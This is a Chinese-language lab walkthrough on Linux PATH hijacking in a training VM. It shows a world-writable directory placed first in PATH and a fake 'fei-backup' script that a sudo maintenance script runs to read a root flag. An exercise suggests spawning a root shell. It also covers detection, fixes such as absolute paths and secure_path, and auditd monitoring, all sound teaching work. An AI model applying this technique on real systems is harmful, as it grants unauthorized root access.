
root 有一個維護腳本,腳本裡寫了 fei-backup。
它沒寫 /usr/local/bin/fei-backup,只寫了 fei-backup。
Linux 會去哪裡找這個程式?如果我比真正的 fei-backup 更早被找到呢?
當你在 terminal 輸入 ls,shell 並不是在整台電腦上搜尋。它會看 PATH 環境變數。
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PATH 是一串用 : 分隔的目錄清單。Shell 從左到右逐一搜尋,找到第一個符合的就執行。
# 絕對路徑 — 直接指定,不受 PATH 影響
/usr/local/bin/fei-backup
# 相對命令 — 必須透過 PATH 搜尋
fei-backup
如果使用相對命令,最終執行哪個檔案完全取決於 PATH 的搜尋順序和各目錄中的內容。

當 shell 收到命令 fei-backup 時,完整的解析流程:
關鍵:如果攻擊者可以在排名更前面的目錄放入同名程式,shell 就會優先執行攻擊者的版本。
# 假設 PATH=/opt/user-bin:/usr/local/bin:/usr/bin:/bin
# shell 需要執行 "fei-backup"
# 1. 檢查 /opt/user-bin/fei-backup → 存在!→ 執行它
# 2. 永遠不會檢查 /usr/local/bin/fei-backup(已經找到了)
Scenario: FEI-L03-PATH
VM: FEI-PRIVESC-LINUX (Ubuntu 22.04.4 LTS)
起始帳號: fei-student (uid=1001)
目標: root
Flag: /root/fei-l03-flag.txt
# 1. 以 fei-labadmin 登入
ssh fei-labadmin@192.168.77.10
# 密碼:FEI-LabAdmin-2026!
# 2. 進入場景目錄並 setup
cd /opt/fei-privesc/scenarios/FEI-L03-PATH
sudo ./fei-setup.sh
# 3. 確認場景就緒
sudo ./fei-verify.sh
# 應看到 L03-PATH STATUS: READY
# 4. 切換到 fei-student
su - fei-student
# 密碼:FEI-Student-2026!
setup 建立了:
/usr/local/bin/fei-l03-maintenance(root:root 755)
PATH=/opt/fei-privesc/scenarios/FEI-L03-PATH/user-bin:/usr/local/bin:/usr/bin:/bin
fei-backup(沒有絕對路徑!)/usr/local/bin/fei-backup(benign)/opt/.../user-bin/(mode 777)sudo /usr/local/bin/fei-l03-maintenance
/root/fei-l03-flag.txt(0600 root:root)verify 確認了 15 項檢查:
[PASS] maintenance script invokes command without absolute path
[PASS] user-controlled PATH directory exists
[PASS] fei-student can write to user-controlled PATH directory
[PASS] PATH directory precedes trusted location
[PASS] elevated execution is narrowly scoped
[PASS] FEI-L01 sudo rule is absent
[PASS] FEI-L02 SUID weakness is absent
fei-student@fei-privesc-linux:~$ sudo -l
User fei-student may run the following commands on fei-privesc-linux:
(root) NOPASSWD: /usr/local/bin/fei-l03-maintenance
fei-student@fei-privesc-linux:~$ cat /usr/local/bin/fei-l03-maintenance
#!/bin/bash
# FEI Lab Maintenance Script
export PATH="/opt/fei-privesc/scenarios/FEI-L03-PATH/user-bin:/usr/local/bin:/usr/bin:/bin"
echo "[FEI Maintenance] Starting maintenance routine..."
echo "[FEI Maintenance] Checking lab status..."
echo "[FEI Maintenance] Running backup..."
fei-backup ← 沒有絕對路徑!
echo "[FEI Maintenance] Maintenance complete."
兩個關鍵發現:
fei-backup 使用相對命令(沒寫 /usr/local/bin/fei-backup)user-bin 放在 /usr/local/bin 前面
fei-student@fei-privesc-linux:~$ ls -la /opt/fei-privesc/scenarios/FEI-L03-PATH/user-bin/
total 8
drwxrwxrwx 2 root root 4096 Sep 14 07:23 .
drwxr-xr-x 3 root root 4096 Sep 14 07:23 ..
drwxrwxrwx — 所有人可寫!而且目前是空的。

fei-student@fei-privesc-linux:~$ cat > /opt/fei-privesc/scenarios/FEI-L03-PATH/user-bin/fei-backup << 'EOF'
#!/bin/bash
cat /root/fei-l03-flag.txt
EOF
fei-student@fei-privesc-linux:~$ chmod +x /opt/fei-privesc/scenarios/FEI-L03-PATH/user-bin/fei-backup
fei-student@fei-privesc-linux:~$ sudo /usr/local/bin/fei-l03-maintenance
[FEI Maintenance] Starting maintenance routine...
[FEI Maintenance] Checking lab status...
[FEI Maintenance] Running backup...
FEI{LINUX_L03_PATH_ROOT_ACCESS}
[FEI Maintenance] Maintenance complete.


L01 vs L03 的差異:
| L01 sudo | L03 PATH | |
|---|---|---|
| 漏洞本質 | binary 本身有 escape 功能 | 子命令受 PATH 影響 |
| 被利用的是 | find 的 -exec 功能 |
shell 的 PATH 搜尋機制 |
| 需要修改的 | 不需要(find 本身就有功能) | 需要在 writable dir 建立檔案 |
| Root cause | 錯誤委派了太強大的工具 | 使用相對路徑 + 不安全的 PATH |
很多系統的 PATH 包含使用者目錄(如 /home/user/bin),但這不代表能提權。
PATH Hijacking 需要同時滿足:
✓ 高權限 context(root/sudo/SUID)
+
✓ 使用相對命令(不是絕對路徑)
+
✓ PATH 中有 attacker-writable 目錄
+
✓ writable 目錄在真正 binary 之前
=
PATH Hijacking 可能成立
缺少任何一個,都不構成可利用的漏洞。
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
如果 sudoers 設定了 secure_path,sudo 會用這個 PATH 覆蓋使用者的 PATH。這是重要的防禦機制。
但在我們的 Lab 中,漏洞 PATH 是寫死在 script 內部(export PATH=...),不受 secure_path 影響。
Ubuntu 的 /bin/sh 連結到 dash,不是 bash。dash 和 bash 在 PATH 處理上有細微差異:
預設情況下,sudo 會重設環境變數(包括 PATH)。但如果使用 sudo -E 或 sudoers 設定了 env_keep+=PATH,使用者的 PATH 可能被保留。
本場景中,PATH 是在 script 內部用 export 設定的。即使系統的 secure_path 很安全,script 內部重新定義 PATH 仍然可以引入危險目錄。
| 問題 | 原因 | 解決 |
|---|---|---|
| 建立 fake binary 但沒效果 | 忘記 chmod +x |
加上執行權限 |
sudo: command not found |
sudo 使用了 secure_path | 本場景 PATH 在 script 內部,不受影響 |
| Flag 沒出現 | fake script 語法錯誤 | 確認 shebang 和語法正確 |
| 修改 user-bin 被拒 | user-bin 權限不是 777 | 用 ls -la 確認 |
# 檢查所有 root-owned script 是否使用相對路徑
grep -rn '^[^#]*[^/]fei-\|^[^#]*[^/]backup\|^[^#]*[^/]check' /usr/local/bin/ /opt/
# 找出沒有用絕對路徑的 command 呼叫
永遠使用絕對路徑:
# 安全
/usr/local/bin/fei-backup
# 危險
fei-backup
不要在 script 中設定含有使用者可寫目錄的 PATH
使用 env -i 清空環境:
sudo env -i /usr/local/bin/fei-l03-maintenance
設定 secure_path
# 修正後的 script 應該用絕對路徑
cat /usr/local/bin/fei-l03-maintenance | grep fei-backup
# 應看到 /usr/local/bin/fei-backup(絕對路徑)
# 驗證 attacker-controlled PATH 不再有效
su - fei-student
# 即使在 user-bin 放了 fake binary,也不會被執行
| 監控 | 方法 |
|---|---|
| 異常 PATH 設定 | 審計高權限 script 的 PATH 設定 |
| user-bin 中的新檔案 | inotifywait 或 auditd 監控 |
| 非預期的程式執行 | auditd 監控 /opt/fei-privesc/scenarios/FEI-L03-PATH/user-bin/ |
fei-backup,讓它不只讀 flag,而是直接開一個 root shell(提示:/bin/bash)fei-l03-maintenance 裡的 PATH 把 /usr/local/bin 放在 user-bin 前面,PATH Hijacking 還能成功嗎?which fei-backup 確認 shell 會找到哪個 fei-backup
Q1:PATH Hijacking 需要哪些條件同時滿足才能成立?
答案
缺少任何一個都不構成可利用的 PATH Hijacking。
Q2:sudo 的 secure_path 能防止本場景的 PATH Hijacking 嗎?
答案
不能。因為本場景中,危險的 PATH 是寫死在 /usr/local/bin/fei-l03-maintenance script 內部的 export PATH=...。sudo 的 secure_path 只影響 sudo 啟動時的環境,不會覆蓋 script 內部重新設定的 PATH。
做完後記得 reset,避免影響下一題:
# 以 fei-labadmin 執行
ssh fei-labadmin@192.168.77.10
cd /opt/fei-privesc/scenarios/FEI-L03-PATH
sudo ./fei-reset.sh
sudo ./fei-verify.sh --reset
# 應看到 L03-PATH STATUS: RESET
如果高權限程式不是用相對命令,而是每分鐘定期執行一個 script……而那個 script 可以被你修改呢?
→ Day 08:Cron
cd /opt/fei-privesc/scenarios/FEI-L03-PATH
sudo ./fei-reset.sh
sudo ./fei-verify.sh --reset
# FEI-L03 STATUS: RESET